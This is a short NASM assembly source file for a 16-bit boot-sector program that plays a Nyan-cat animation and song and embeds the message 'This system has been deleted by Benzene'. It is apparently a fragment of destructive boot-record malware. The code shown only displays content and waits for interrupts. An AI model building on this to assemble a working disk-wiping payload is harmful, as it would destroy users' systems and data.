| ; This is where the program starts after decompression | |
| use16 | |
| org 0 | |
| %include "Utils/macros.asm" | |
| %include "Setup/setup.asm" | |
| ; Everything should be already set up, so the only | |
| ; thing we need to do here is to wait for interrupts | |
| haltLoop: | |
| hlt | |
| jmp haltLoop | |
| ; Include the interrupt handlers after the loop to | |
| ; prevent them from triggering by including the code | |
| %include "Interrupts/timerHandler.asm" | |
| %include "Interrupts/keyboardHandler.asm" | |
| %include "Utils/timer.asm" | |
| %include "Animation/countNyan.asm" | |
| %include "Animation/displayFrame.asm" | |
| %include "Animation/playNote.asm" | |
| ; ============================== | |
| ; Variables | |
| ; ============================== | |
| ; ============================== | |
| ; Data | |
| ; ============================== | |
| frames: incbin "../../Build/frames.bin" | |
| framesLength: equ $-frames | |
| special: incbin "../../Build/special.bin" | |
| specialLength: equ $-special | |
| song: incbin "../../Build/song.bin" | |
| songLength: equ $-song | |
| message: db "This system has been deleted by Benzene" | |
| messageLength: equ $-message | |